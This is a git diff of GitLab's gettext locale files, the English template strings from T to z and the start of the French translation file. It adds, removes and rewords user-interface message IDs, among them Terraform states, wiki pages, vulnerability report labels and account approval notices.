+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/fr/gitlab.po b/locale/fr/gitlab.po
index 788f5986a1d..ef1c591a30d 100644
--- a/locale/fr/gitlab.po
+++ b/locale/fr/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: fr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:45\n"
+"PO-Revision-Date: 2020-12-03 08:14\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr "%{actionText} et %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} sera supprimé ! Êtesâ€vous sûr ?"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} Démarré"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
